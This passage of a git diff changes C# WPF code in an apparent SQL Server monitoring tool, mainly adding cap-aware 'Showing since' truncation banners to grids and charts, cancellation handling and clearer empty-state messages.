+    /// the calls a short window makes, without building the UserControl.
     /// </summary>
-    private async System.Threading.Tasks.Task RefreshWindowTruncatedBannerAsync(QueryWindowRelation relation, TextBlock banner, DateTime startUtc, DateTime endUtc)
+    internal static async System.Threading.Tasks.Task<DateTime?> ProbeWindowFloorOrNullAsync(
+        Func<System.Threading.Tasks.Task<DateTime?>> probe, string what, DateTime startUtc, DateTime endUtc, CancellationToken ct = default)
+    {
+        if (!McpQueryTools.CanWindowBeTruncated(startUtc, endUtc))
+        {
+            return null;
+        }
+
+        try
+        {
+            return await probe();
+        }
+        catch (OperationCanceledException) when (ct.IsCancellationRequested)
+        {
+            /* #5371: the pass was superseded and its token stopped the probe; that is not a failed probe to log and hide the banner for. */
+            throw;
+        }
+        catch (Exception ex)
+        {
+            AppLogger.Warn("ServerTab", $"{what} data-start probe failed, so no \"Showing since\" banner is shown: {ex.Message}");
+            return null;
+        }
+    }
+
+    /// <summary>
+    /// #4966: the floor a CAPPED grid's "Showing since" banner is worded from. A read that returned as many rows as
+    /// its cap (<paramref name="rowCap"/>, newest first) is cut short, so its reach is its oldest row,
+    /// by time, not by position, whatever the store holds: that is where the grid starts, even when the store covers
+    /// the whole range. Below its cap a read holds everything the store has in the range, and the probed floor
+    /// (<see cref="LocalDataService.GetQueryWindowFloorAsync"/>, null included) stands. A <paramref name="rowCap"/> of
+    /// zero or less means the read has no cap. A capped floor gets NO slack: the read dropped rows for certain, so its
+    /// verdict is <see cref="ApplyCappedWindowFloorToBanner"/>'s (the banner shows whenever the oldest row shown is later
+    /// than the window's start), while a probed floor keeps <see cref="ApplyWindowFloorToBanner"/>'s 90-minute slack,
+    /// which absorbs a first collection that lands a little after the window starts. The ONE
+    /// decision for every capped grid: <see cref="RefreshCappedGridBannerAsync{T}"/> calls it, and the grids that read
+    /// the newest N rows (Plan Corrections, the Collection Log and Long Queries now; Blocked Process Reports and
+    /// Deadlocks as they adopt it) pass their rows, their cap and the time their rows are shown and capped on.
+    /// </summary>
+    internal static DateTime? CapAwareWindowFloor<T>(DateTime? probedFloor, IReadOnlyCollection<T> rows, int rowCap, Func<T, DateTime> rowTimeUtc, DateTime? cappedSourceOldestUtc = null)
+    {
+        DateTime? capStart = rowCap > 0 && rows.Count >= rowCap ? rows.Min(rowTimeUtc) : null;
+
+        /* #4966: a grid fed by two reads (Blocked Process Reports: XE reports and DMV snapshots) can hold fewer rows than its
+           cap while ONE of its reads filled its own, because the merge drops rows. That read's oldest event time bounds the
+           grid the same way, and when both name one the later wins, since the grid is complete only from there. */
+        if (cappedSourceOldestUtc is DateTime sourceOldest && (capStart is not DateTime named || sourceOldest > named))
+        {
+            capStart = sourceOldest;
+        }
+
+        return capStart ?? probedFloor;
+    }
+
+    /// <summary>
+    /// #4966: the banner step for a grid whose read is capped at its newest <paramref name="rowCap"/> rows. A read that
+    /// reached its cap (<see cref="CapAwareWindowFloor{T}"/> answers its oldest row) is worded from that row and needs
+    /// no probe, and no slack: its reach is what the grid shows, whatever the store holds, and the banner shows whenever
+    /// that oldest row is later than the window's start (<see cref="ApplyCappedWindowFloorToBanner"/>), even on a range
+    /// of an hour. Below its cap it is the shared step,
+    /// <see cref="RefreshWindowTruncatedBannerAsync"/>, with its probe, as for every other grid, handed the oldest row the
+    /// grid shows so that the notice never names a time later than it (<see cref="EarlierOfFloorAndRowShown"/>, #4989). The decision itself is
+    /// <see cref="CappedGridBannerAsync{T}"/>, which this hands the two ways out: the banner worded in the tab's picker
+    /// zone from the oldest row, and that shared step.
+    /// </summary>
+    private System.Threading.Tasks.Task RefreshCappedGridBannerAsync<T>(
+        QueryWindowRelation relation, TextBlock banner, DateTime startUtc, DateTime endUtc,
+        IReadOnlyCollection<T> rows, int rowCap, Func<T, DateTime> rowTimeUtc, DateTime? cappedSourceOldestUtc = null, CancellationToken ct = default) =>
+        CappedGridBannerAsync(rows, rowCap, rowTimeUtc,
+            oldestRowShown => ApplyCappedWindowFloorToBanner(banner, oldestRowShown, startUtc, GetPickerZone()),
+            () => RefreshWindowTruncatedBannerAsync(relation, banner, startUtc, endUtc, EarliestRowShown(rows, rowTimeUtc), ct: ct),
+            cappedSourceOldestUtc);
+
+    /// <summary>
+    /// #4966: the decision inside <see cref="RefreshCappedGridBannerAsync{T}"/>. A read that reached its cap
+    /// (<see cref="CapAwareWindowFloor{T}"/>) hands its oldest row to <paramref name="wordFromOldestRow"/> and never
+    /// calls <paramref name="probeStep"/>; a read under its cap returns what <paramref name="probeStep"/> returns and
+    /// words nothing itself. <c>internal static</c> with the two ways out passed in, as
+    /// <see cref="ProbeWindowFloorOrNullAsync"/> takes its probe, so the tests run this body without building the
+    /// UserControl. The banner stays out of it: every <see cref="ApplyWindowFloorToBanner"/> and
+    /// <see cref="ApplyCappedWindowFloorToBanner"/> call in the tab files is handed the tab's own picker zone, and this
+    /// is not a tab.
+    /// </summary>
+    internal static System.Threading.Tasks.Task CappedGridBannerAsync<T>(
+        IReadOnlyCollection<T> rows, int rowCap, Func<T, DateTime> rowTimeUtc,
+        Action<DateTime> wordFromOldestRow, Func<System.Threading.Tasks.Task> probeStep, DateTime? cappedSourceOldestUtc = null)
+    {
+        if (CapAwareWindowFloor(null, rows, rowCap, rowTimeUtc, cappedSourceOldestUtc) is DateTime oldestRowShown)
+        {
+            wordFromOldestRow(oldestRowShown);
+            return System.Threading.Tasks.Task.CompletedTask;
+        }
+
+        return probeStep();
+    }
+
+    /// <summary>
+    /// The verdict and the banner for one PROBE result: the SAME 90-minute slack
+    /// (<see cref="McpQueryTools.IsWindowTruncated"/>) the MCP tools use, which absorbs a first collection that lands a
+    /// little after the window starts, then the "Showing since" text. A floor at or
+    /// before the window's start (the store reaches back to it, however quiet the window's own start was) and a null
+    /// floor both hide the banner. Null means the window holds nothing to report: no row for the three Queries grids
+    /// and the Query Heatmap, and for Active Queries, Current Waits, Plan Corrections and Memory Pressure Events no row
+    /// and no logged run of the collector either (a covered window
+    /// in which nothing ran or waited answers the start, not null, so it too shows no banner). The same step serves
+    /// every surface that carries the banner (the three Queries grids, Plan Corrections, the Query Heatmap, Active
+    /// Queries, Current Waits and Memory Pressure Events). A capped grid whose read hit its cap does not come through
+    /// here: it is judged by <see cref="ApplyCappedWindowFloorToBanner"/>, with no slack (a capped grid under its cap
+    /// does come through here, by way of its probe). <c>internal static</c> so the tests drive it, with a real probe
+    /// result, without building the UserControl.
+    /// </summary>
+    internal static bool ApplyWindowFloorToBanner(TextBlock banner, DateTime? floor, DateTime startUtc, TimeZoneInfo zone)
     {
-        var floor = await Task.Run(() => _dataService.GetQueryWindowFloorAsync(relation, _serverId, startUtc, endUtc));
         var truncated = McpQueryTools.IsWindowTruncated(floor, startUtc);
-        SetWindowTruncatedBanner(banner, truncated, floor ?? startUtc, GetPickerZone());
+        SetWindowTruncatedBanner(banner, truncated, floor ?? startUtc, zone);
+        return truncated;
+    }
+
+    /// <summary>
+    /// #4966: the verdict and the banner for a CAPPED read's oldest row (<see cref="CapAwareWindowFloor{T}"/>), with NO
+    /// slack. The 90-minute slack of <see cref="ApplyWindowFloorToBanner"/> belongs to the coverage probe: it absorbs a
+    /// first collection that lands a little after the window starts. A grid that filled its row cap dropped rows for
+    /// certain, so its banner shows whenever the oldest row it shows is later than the window's start (on a range of an
+    /// hour too), and an oldest row at or before the start hides it. Worded from that row, in <paramref name="zone"/>.
+    /// <c>internal static</c> so the tests drive it without building the UserControl.
+    /// </summary>
+    internal static bool ApplyCappedWindowFloorToBanner(TextBlock banner, DateTime oldestRowShown, DateTime startUtc, TimeZoneInfo zone)
+    {
+        var truncated = oldestRowShown > startUtc;
+        SetWindowTruncatedBanner(banner, truncated, oldestRowShown, zone);
+        return truncated;
     }
 
     /// <summary>
@@ -583,6 +863,8 @@ private async System.Threading.Tasks.Task RefreshMemoryAsync(int hoursBack, Date
                     case 3: // Memory Pressure Events
                         var pressureEvents = await Task.Run(() => _dataService.GetMemoryPressureEventsAsync(_serverId, hoursBack, fromDate, toDate));
                         UpdateMemoryPressureEventsChart(pressureEvents, hoursBack, fromDate, toDate);
+                        /* #4966: where the stored events start, over the SAME UTC window the chart read. */
+                        await RefreshMemoryPressureEventsBannerAsync(hoursBack, fromDate, toDate);
                         break;
                 }
                 return;
@@ -602,6 +884,8 @@ private async System.Threading.Tasks.Task RefreshMemoryAsync(int hoursBack, Date
             UpdateMemoryChart(memoryTrendTask.Result, memoryGrantTrendTask.Result, hoursBack, fromDate, toDate);
             UpdateMemoryGrantCharts(memoryGrantChartTask.Result, hoursBack, fromDate, toDate);
             UpdateMemoryPressureEventsChart(memoryPressureEventsTask.Result, hoursBack, fromDate, toDate);
+            /* #4966: see the Memory Pressure Events case of the timer's sub-tab refresh above. */
+            await RefreshMemoryPressureEventsBannerAsync(hoursBack, fromDate, toDate);
             PopulateMemoryClerkPicker(memoryClerkTypesTask.Result);
             await UpdateMemoryClerksChartFromPickerAsync();
         }
@@ -616,8 +900,8 @@ private async System.Threading.Tasks.Task RefreshFileIoAsync(int hoursBack, Date
     {
         try
         {
-            var fileIoTrendTask = Helpers.MethodProfiler.TimeAsync("FileIo.LatencyTrend", () => Task.Run(() => _dataService.GetFileIoLatencyTrendAsync(_serverId, hoursBack, fromDate, toDate)));
-            var fileIoThroughputTask = Helpers.MethodProfiler.TimeAsync("FileIo.ThroughputTrend", () => Task.Run(() => _dataService.GetFileIoThroughputTrendAsync(_serverId, hoursBack, fromDate, toDate)));
+            var fileIoTrendTask = Helpers.MethodProfiler.TimeAsync("FileIo.LatencyTrend", () => Task.Run(() => _dataService.GetFileIoLatencyTrendAsync(_serverId, hoursBack, fromDate, toDate, databaseNames: SelectedDatabaseFilter)));
+            var fileIoThroughputTask = Helpers.MethodProfiler.TimeAsync("FileIo.ThroughputTrend", () => Task.Run(() => _dataService.GetFileIoThroughputTrendAsync(_serverId, hoursBack, fromDate, toDate, databaseNames: SelectedDatabaseFilter)));
 
             await System.Threading.Tasks.Task.WhenAll(fileIoTrendTask, fileIoThroughputTask);
 
@@ -668,6 +952,7 @@ private async System.Threading.Tasks.Task RefreshBlockingAsync(int hoursBack, Da
                         UpdateLockWaitTrendChart(lwt.Result, hoursBack, fromDate, toDate);
                         UpdateBlockingTrendChart(bt.Result, hoursBack, fromDate, toDate);
                         UpdateDeadlockTrendChart(dt.Result, hoursBack, fromDate, toDate);
+                        await RefreshBlockingTrendsBannersAsync(lwt.Result, bt.Result, dt.Result, hoursBack, fromDate, toDate, SelectedDatabaseFilter);
                         break;
                     case 1: // Current Waits — 2 charts
                         var cwd = Helpers.MethodProfiler.TimeAsync("Locking.WaitingTaskTrend", () => Task.Run(() => SafeQueryAsync(() => _dataService.GetWaitingTaskTrendAsync(_serverId, hoursBack, fromDate, toDate))));
@@ -675,12 +960,25 @@ private async System.Threading.Tasks.Task RefreshBlockingAsync(int hoursBack, Da
                         await System.Threading.Tasks.Task.WhenAll(cwd, cwb);
                         UpdateCurrentWaitsDurationChart(cwd.Result, hoursBack, fromDate, toDate);
                         UpdateCurrentWaitsBlockedChart(cwb.Result, hoursBack, fromDate, toDate);
+                        {
+                            /* Where the stored waiting-task rows start, over the SAME UTC window both charts read
+                               (GetWaitingTaskTrendAsync and GetBlockedSessionTrendAsync both take it from GetTimeRange). */
+                            var (windowStart5, windowEnd5) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
+                            await RefreshWindowTruncatedBannerAsync(QueryWindowRelation.WaitingTasks, CurrentWaitsWindowTruncatedBanner, windowStart5, windowEnd5);
+                        }
                         break;
                     case 2: // Blocked Process Reports
-                        var bpr = await Task.Run(() => _dataService.GetRecentBlockedProcessReportsAsync(_serverId, hoursBack, fromDate, toDate, SelectedDatabaseFilter));
+                        var bprRead = await Task.Run(() => _dataService.ReadRecentBlockedProcessReportsAsync(_serverId, hoursBack, fromDate, toDate, SelectedDatabaseFilter));
+                        var bpr = bprRead.Rows;
                         using (Helpers.MethodProfiler.StartTiming("Locking.BindBlockedGrid"))
                             _blockedProcessFilterMgr!.UpdateData(bpr);
                         ApplySeparatelyMonitoredListNote(BlockedProcessReportNoteText);
+                        {
+                            /* Where the stored blocked-process coverage starts (#4966), over the SAME UTC window the grid read
+                               resolves from GetTimeRange. */
+                            var (windowStart6, windowEnd6) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
+                            await RefreshCappedGridBannerAsync(QueryWindowRelation.BlockedProcessReports, BlockedProcessReportsWindowTruncatedBanner, windowStart6, windowEnd6, bpr, LocalDataService.BlockedProcessReportGridCap, BlockedProcessRowTimeUtc, bprRead.CappedSourceStartUtc);
+                        }
                         await LoadBlockingSlicerAsync();
                         break;
                     case 3: // Deadlocks
@@ -689,6 +987,12 @@ private async System.Threading.Tasks.Task RefreshBlockingAsync(int hoursBack, Da
                         using (Helpers.MethodProfiler.StartTiming("Locking.BindDeadlockGrid"))
                             _deadlockFilterMgr!.UpdateData(dlrDetails);
                         ApplySeparatelyMonitoredListNote(DeadlockNoteText);
+                        {
+                            /* Where the stored deadlock coverage starts (#4966), over the SAME UTC window the grid read
+                               resolves from GetTimeRange. */
+                            var (windowStart7, windowEnd7) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
+                            await RefreshCappedGridBannerAsync(QueryWindowRelation.Deadlocks, DeadlocksWindowTruncatedBanner, windowStart7, windowEnd7, dlr, LocalDataService.DeadlockGridCap, DeadlockRowTimeUtc);
+                        }
                         await LoadDeadlockSlicerAsync();
                         break;
                     case 4: // Blocking Stats — blocking + deadlock severity (4 charts + summary strip)
@@ -701,6 +1005,7 @@ private async System.Threading.Tasks.Task RefreshBlockingAsync(int hoursBack, Da
                         UpdateDeadlockWaitChart(bdsSeverity.Result, hoursBack, fromDate, toDate);
                         UpdateDeadlockTotalWaitChart(bdsSeverity.Result, hoursBack, fromDate, toDate);
                         UpdateBlockingStatsSummary(bdsStats.Result, bdsCount.Result, bdsSeverity.Result);
+                        await RefreshBlockingStatsBannersAsync(bdsStats.Result, bdsSeverity.Result, hoursBack, fromDate, toDate, SelectedDatabaseFilter);
                         break;
                 }
                 /* Always keep alert badge current when Blocking tab is visible */
@@ -709,7 +1014,7 @@ private async System.Threading.Tasks.Task RefreshBlockingAsync(int hoursBack, Da
             }
 
             /* Full refresh: load all sub-tabs */
-            var blockedProcessTask = Helpers.MethodProfiler.TimeAsync("Locking.BlockedProcessReports", () => Task.Run(() => _dataService.GetRecentBlockedProcessReportsAsync(_serverId, hoursBack, fromDate, toDate, SelectedDatabaseFilter)));
+            var blockedProcessTask = Helpers.MethodProfiler.TimeAsync("Locking.BlockedProcessReports", () => Task.Run(() => _dataService.ReadRecentBlockedProcessReportsAsync(_serverId, hoursBack, fromDate, toDate, SelectedDatabaseFilter)));
             var deadlockTask = Helpers.MethodProfiler.TimeAsync("Locking.Deadlocks", () => Task.Run(() => _dataService.GetRecentDeadlocksAsync(_serverId, hoursBack, fromDate, toDate)));
             var lockWaitTrendTask = Helpers.MethodProfiler.TimeAsync("Locking.LockWaitTrend", () => Task.Run(() => SafeQueryAsync(() => _dataService.GetLockWaitTrendAsync(_serverId, hoursBack, fromDate, toDate))));
             var blockingTrendTask = Helpers.MethodProfiler.TimeAsync("Locking.BlockingTrend", () => Task.Run(() => SafeQueryAsync(() => _dataService.GetBlockingTrendAsync(_serverId, hoursBack, fromDate, toDate, SelectedDatabaseFilter))));
@@ -729,7 +1034,7 @@ await System.Threading.Tasks.Task.WhenAll(
                remaining UI-thread render steps so any new hot spot is pinpointed (bind vs charts). */
             var deadlockDetails = await ParseDeadlocksOffUiThreadAsync(deadlockTask.Result);
             using (Helpers.MethodProfiler.StartTiming("Locking.BindBlockedGrid"))
-                _blockedProcessFilterMgr!.UpdateData(blockedProcessTask.Result);
+                _blockedProcessFilterMgr!.UpdateData(blockedProcessTask.Result.Rows);
             using (Helpers.MethodProfiler.StartTiming("Locking.BindDeadlockGrid"))
                 _deadlockFilterMgr!.UpdateData(deadlockDetails);
 
@@ -750,16 +1055,35 @@ the deadlock count (same deadlock window). */
                 UpdateBlockingStatsSummary(blockingDurationStatsTask.Result, deadlockTrendTask.Result, deadlockSeverityStatsTask.Result);
             }
 
+            /* #4966: the notes of the Trends and Blocking Stats charts, after the charts are drawn. */
+            await RefreshBlockingTrendsBannersAsync(lockWaitTrendTask.Result, blockingTrendTask.Result, deadlockTrendTask.Result, hoursBack, fromDate, toDate, SelectedDatabaseFilter);
+            await RefreshBlockingStatsBannersAsync(blockingDurationStatsTask.Result, deadlockSeverityStatsTask.Result, hoursBack, fromDate, toDate, SelectedDatabaseFilter);
+
+            {
+                /* Where the stored waiting-task rows start, over the SAME UTC window the Current Waits charts read --
+                   see the Current Waits case of the sub-tab switch above. */
+                var (windowStart5, windowEnd5) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
+                await RefreshWindowTruncatedBannerAsync(QueryWindowRelation.WaitingTasks, CurrentWaitsWindowTruncatedBanner, windowStart5, windowEnd5);
+            }
+
+            {
+                /* Where the stored blocked-process and deadlock coverage starts (#4966), over the SAME UTC window the two
+                   grids read (both resolve it from GetTimeRange); after both grids are bound above. */
+                var (windowStart8, windowEnd8) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
+                await RefreshCappedGridBannerAsync(QueryWindowRelation.BlockedProcessReports, BlockedProcessReportsWindowTruncatedBanner, windowStart8, windowEnd8, blockedProcessTask.Result.Rows, LocalDataService.BlockedProcessReportGridCap, BlockedProcessRowTimeUtc, blockedProcessTask.Result.CappedSourceStartUtc);
+                await RefreshCappedGridBannerAsync(QueryWindowRelation.Deadlocks, DeadlocksWindowTruncatedBanner, windowStart8, windowEnd8, deadlockTask.Result, LocalDataService.DeadlockGridCap, DeadlockRowTimeUtc);
+            }
+
             await LoadBlockingSlicerAsync();
             await LoadDeadlockSlicerAsync();
 
             /* Notify parent of alert counts for tab badge */
-            var blockingCount = blockedProcessTask.Result.Count;
+            var blockingCount = blockedProcessTask.Result.Rows.Count;
             var deadlockCount = deadlockTask.Result.Count;
             DateTime? latestEventTime = null;
             if (blockingCount > 0 || deadlockCount > 0)
             {
-                var latestBlocking = blockedProcessTask.Result.Max(r => (DateTime?)r.EventTime);
+                var latestBlocking = blockedProcessTask.Result.Rows.Max(r => (DateTime?)r.EventTime);
                 var latestDeadlock = deadlockTask.Result.Max(r => (DateTime?)r.DeadlockTime);
                 latestEventTime = latestBlocking > latestDeadlock ? latestBlocking : latestDeadlock;
             }
@@ -838,11 +1162,36 @@ private async System.Threading.Tasks.Task RefreshRunningJobsAsync(int hoursBack,
     {
         try
         {
-            var runningJobsTask = Task.Run(() => SafeQueryAsync(() => _dataService.GetRunningJobsAsync(_serverId)));
-            await runningJobsTask;
-            _runningJobsFilterMgr!.UpdateData(runningJobsTask.Result);
+            /* Not through SafeQueryAsync: that turns a failed read into an empty list, and an empty grid then says "No SQL Agent jobs are
+               running." about a read that never answered. A failed read shows its own error below instead. */
+            LocalDataService.RunningJobsRead read;
+            try
+            {
+                read = await Task.Run(() => _dataService.ReadRunningJobsAsync(_serverId));
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                AppLogger.Info("ServerTab", $"[{_server.DisplayName}] Running jobs read failed: {ex.Message}");
+                _runningJobsFilterMgr!.UpdateData(new List<RunningJobRow>());
+                RunningJobsNoDataMessage.Tag ??= RunningJobsNoDataMessage.Text; /* the words kept for when the read works again */
+                RunningJobsNoDataMessage.Text = RunningJobsReadFailedText(ex);
+                RunningJobsNoDataMessage.Visibility = System.Windows.Visibility.Visible;
+                return;
+            }
+
+            _runningJobsFilterMgr!.UpdateData(read.Jobs);
             await RefreshRunningJobsSkippedNoteAsync();
-            ShowEngineGap(RunningJobsNoDataMessage, "running_jobs", runningJobsTask.Result.Count);
+            var bannerShows = RunningJobsMsdbWarning.Visibility == System.Windows.Visibility.Visible;
+            /* D20: an empty grid says no job is running, unless the login cannot read msdb (then the warning above the grid says
+               why the grid is empty, and "no jobs running" would be a claim nobody checked) or the not-collected note applies. */
+            ShowEngineGap(RunningJobsNoDataMessage, "running_jobs", read.Jobs.Count, keepsOwnEmptyText: !bannerShows);
+            /* An empty grid whose collector has not collected within the freshness bound says that instead (no gap note or banner wins). */
+            if (read.Jobs.Count == 0 && !bannerShows && read.LastGoodCollection is DateTime lastGood
+                && RunningJobsNoDataMessage.Tag is string ownText && RunningJobsNoDataMessage.Text == ownText)
+            {
+                RunningJobsNoDataMessage.Text = RunningJobsCurrency.NotCurrentNote(lastGood);
+                RunningJobsNoDataMessage.Visibility = System.Windows.Visibility.Visible;
+            }
         }
         catch (Exception ex)
         {
@@ -871,7 +1220,7 @@ private async System.Threading.Tasks.Task RefreshConfigurationAsync(int hoursBac
             _queryStoreHealthFilterMgr!.UpdateData(queryStoreHealthTask.Result);
             _automaticTuningFilterMgr!.UpdateData(automaticTuningTask.Result);
             _traceFlagsFilterMgr!.UpdateData(traceFlagsTask.Result);
-            ShowEngineGap(TraceFlagsNoDataMessage, "trace_flags", traceFlagsTask.Result.Count);
+            ShowEngineGap(TraceFlagsNoDataMessage, "trace_flags", traceFlagsTask.Result.Count, keepsOwnEmptyText: true);
         }
         catch (Exception ex)
         {
@@ -886,14 +1235,21 @@ private async System.Threading.Tasks.Task RefreshDailySummaryAsync(int hoursBack
     }
 
     /// <summary>Tab 17 — Collection Health</summary>
-    private async System.Threading.Tasks.Task RefreshCollectionHealthAsync(int hoursBack, DateTime? fromDate, DateTime? toDate)
+    private async System.Threading.Tasks.Task RefreshCollectionHealthAsync(int hoursBack, DateTime? fromDate, DateTime? toDate, CancellationToken ct = default)
     {
         try
         {
-            var collectionHealthTask = Helpers.MethodProfiler.TimeAsync("CollectionHealth.Health", () => Task.Run(() => SafeQueryAsync(() => _dataService.GetCollectionHealthAsync(_serverId))));
-            var collectionLogTask = Helpers.MethodProfiler.TimeAsync("CollectionHealth.Log", () => Task.Run(() => SafeQueryAsync(() => _dataService.GetRecentCollectionLogAsync(_serverId, hoursBack, fromDate, toDate))));
+            var collectionHealthTask = Helpers.MethodProfiler.TimeAsync("CollectionHealth.Health", readLogsOwnCancellation: true, operation: () => Task.Run(() => SafeQueryAsync(() => _dataService.GetCollectionHealthAsync(_serverId, allowMemo: true, memoLifetime: TimeSpan.FromSeconds(App.AutoRefreshIntervalSeconds), cancellationToken: ct), ct)));
+            var collectionLogTask = Helpers.MethodProfiler.TimeAsync("CollectionHealth.Log", readLogsOwnCancellation: true, operation: () => Task.Run(() => SafeQueryAsync(() => _dataService.GetRecentCollectionLogAsync(_serverId, hoursBack, fromDate, toDate, cancellationToken: ct), ct)));
+            /* #4989: the Duration Trends chart reads its own buckets over the whole range, beside the grid's read. The grid's
+               page is the newest CollectionLogGridCap runs, a sliver of a long range, so the chart is not fed from it. */
+            var collectorDurationTask = Helpers.MethodProfiler.TimeAsync("CollectionHealth.DurationTrends", () => Task.Run(() => SafeQueryAsync(() => _dataService.GetCollectorDurationTrendAsync(_serverId, hoursBack, fromDate, toDate, cancellationToken: ct), ct)));
+
+            await System.Threading.Tasks.Task.WhenAll(collectionHealthTask, collectionLogTask, collectorDurationTask);
 
-            await System.Threading.Tasks.Task.WhenAll(collectionHealthTask, collectionLogTask);
+            /* #5371: a pass a newer request superseded while only one of the three reads was still running ends here: the replay
+               loads the tab, so repainting the grids and the chart, and probing the data start, would only be overwritten. */
+            ct.ThrowIfCancellationRequested();
 
             /* #4766: every row reads its time on THIS tab's server clock, not on whichever clock is active when the
                grid renders. Both grids sit in this server's own tab, so the two are the same while the tab is showing,
@@ -904,7 +1260,14 @@ and the stamped one also holds when the display mode flips or another tab is sel
 
             _collectionHealthFilterMgr!.UpdateData(collectionHealthTask.Result);
             _collectionLogFilterMgr!.UpdateData(collectionLogTask.Result);
-            UpdateCollectorDurationChart(collectionLogTask.Result, hoursBack, fromDate, toDate);
+            UpdateCollectorDurationChart(collectorDurationTask.Result, hoursBack, fromDate, toDate);
+            /* #4989: the grid reads only the newest CollectionLogGridCap runs, so its notice goes through the cap-aware step. */
+            var (windowStart, windowEnd) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
+            await RefreshCappedGridBannerAsync(QueryWindowRelation.CollectionLog, CollectionLogWindowTruncatedBanner, windowStart, windowEnd, collectionLogTask.Result, LocalDataService.CollectionLogGridCap, row => row.CollectionTime, ct: ct);
+        }
+        catch (OperationCanceledException) when (ct.IsCancellationRequested)
+        {
+            /* #5371: a newer request superseded this pass and its token interrupted the Health or Log read; the replay loads the tab. */
         }
         catch (Exception ex)
         {
@@ -915,12 +1278,17 @@ and the stamped one also holds when the display mode flips or another tab is sel
     /// <summary>
     /// Wraps a query in a try/catch so it returns an empty list on failure instead of faulting.
     /// </summary>
-    private static async Task<List<T>> SafeQueryAsync<T>(Func<Task<List<T>>> query)
+    internal static async Task<List<T>> SafeQueryAsync<T>(Func<Task<List<T>>> query, CancellationToken ct = default)
     {
         try
         {
             return await query();
         }
+        catch (OperationCanceledException) when (ct.IsCancellationRequested)
+        {
+            /* #5371: the pass was superseded and its read stopped on purpose; that is not a failed query to swallow into an empty list. */
+            throw;
+        }
         catch (Exception ex)
         {
             AppLogger.Info("ServerTab", $"Trend query failed: {ex.Message}");
diff --git a/Lite/Controls/ServerTab.SessionStats.cs b/Lite/Controls/ServerTab.SessionStats.cs
index 3306c1e10c..ff2b693e2e 100644
--- a/Lite/Controls/ServerTab.SessionStats.cs
+++ b/Lite/Controls/ServerTab.SessionStats.cs
@@ -95,6 +95,8 @@ private void UpdateSessionStatsSummary(SessionStatsPoint? data)
         SessionStatsTopAppText.Text = topApp;
         SessionStatsTopHostText.Text = topHost;
         SessionStatsDatabasesText.Text = databases;
+        /* #4966: the newest collection in the last bucket (where Top Application and Top Host come from), not the bucket's grid time. */
+        SessionStatsCollectedText.Text = SnapshotCollectedText(data?.LatestCollectionTime, GetPickerZone(), "N/A");
     }
 
     /// <summary>Tears down the Session Stats hover helper (mirrors the other tabs' dispose) so its tooltip
diff --git a/Lite/Controls/ServerTab.Slicers.cs b/Lite/Controls/ServerTab.Slicers.cs
index 0cfcdb2a1a..150bd2f89f 100644
--- a/Lite/Controls/ServerTab.Slicers.cs
+++ b/Lite/Controls/ServerTab.Slicers.cs
@@ -39,8 +39,11 @@ private async void OnBlockingSlicerChanged(object? sender, Controls.SlicerRangeE
     {
         try
         {
-            var bpr = await Task.Run(() => _dataService.GetRecentBlockedProcessReportsAsync(_serverId, 0, e.StartUtc, e.EndUtc, SelectedDatabaseFilter));
-            _blockedProcessFilterMgr!.UpdateData(bpr);
+            var bprRead = await Task.Run(() => _dataService.ReadRecentBlockedProcessReportsAsync(_serverId, 0, e.StartUtc, e.EndUtc, SelectedDatabaseFilter));
+            _blockedProcessFilterMgr!.UpdateData(bprRead.Rows);
+            /* A slicer drag re-reads the grid over a narrower window, which can itself start after the stored coverage does
+               (#4966): the banner follows the SAME UTC pair the read took, as the Queries grids' slicer handlers do. */
+            await RefreshCappedGridBannerAsync(QueryWindowRelation.BlockedProcessReports, BlockedProcessReportsWindowTruncatedBanner, e.StartUtc, e.EndUtc, bprRead.Rows, LocalDataService.BlockedProcessReportGridCap, BlockedProcessRowTimeUtc, bprRead.CappedSourceStartUtc);
         }
         catch (Exception ex)
         {
@@ -54,6 +57,8 @@ private async void OnDeadlockSlicerChanged(object? sender, Controls.SlicerRangeE
         {
             var dlr = await Task.Run(() => _dataService.GetRecentDeadlocksAsync(_serverId, 0, e.StartUtc, e.EndUtc));
             _deadlockFilterMgr!.UpdateData(await ParseDeadlocksOffUiThreadAsync(dlr));
+            /* Same as OnBlockingSlicerChanged (#4966): the banner follows the UTC pair this read took. */
+            await RefreshCappedGridBannerAsync(QueryWindowRelation.Deadlocks, DeadlocksWindowTruncatedBanner, e.StartUtc, e.EndUtc, dlr, LocalDataService.DeadlockGridCap, DeadlockRowTimeUtc);
         }
         catch (Exception ex)
         {
@@ -82,7 +87,9 @@ private async System.Threading.Tasks.Task LoadActiveQueriesSlicerAsync()
             _activeQueriesSlicerData = data;
             _activeQueriesSlicerMetric = "Sessions";
             var (slicerStart, slicerEnd) = PerformanceMonitor.Ui.TimeWindows.ChartAxis(hoursBack, queryFrom, queryTo, DateTime.UtcNow);
-            if (data.Count > 0)
+            if (data.Count == 0)
+                ActiveQueriesSlicer.ShowEmpty("No active query samples in the selected time window.");
+            else
                 ActiveQueriesSlicer.LoadData(data, "Sessions", slicerStart, slicerEnd);
         }
         catch (Exception ex)
@@ -101,6 +108,8 @@ private async void OnActiveQueriesSlicerChanged(object? sender, Controls.SlicerR
             var snapshots = await Task.Run(() => _dataService.GetLatestQuerySnapshotsAsync(_serverId, 0, e.StartUtc, e.EndUtc, SelectedDatabaseFilter));
             _querySnapshotsFilterMgr!.UpdateData(snapshots);
             LiveSnapshotIndicator.Text = "";
+            /* The banner takes e.StartUtc/e.EndUtc, the UTC pair the grid read above takes (same as the three Queries grids). */
+            await RefreshWindowTruncatedBannerAsync(QueryWindowRelation.QuerySnapshots, ActiveQueriesWindowTruncatedBanner, e.StartUtc, e.EndUtc);
         }
         catch (Exception ex)
         {
@@ -123,7 +132,9 @@ private async System.Threading.Tasks.Task LoadQueryStatsSlicerAsync()
             _queryStatsSlicerData = data;
             _queryStatsSlicerMetric = "TotalCpu";
             var (slicerStart, slicerEnd) = PerformanceMonitor.Ui.TimeWindows.ChartAxis(hoursBack, fromDate, toDate, DateTime.UtcNow);
-            if (data.Count > 0)
+            if (data.Count == 0)
+                QueryStatsSlicer.ShowEmpty("No query statistics in the selected time window.");
+            else
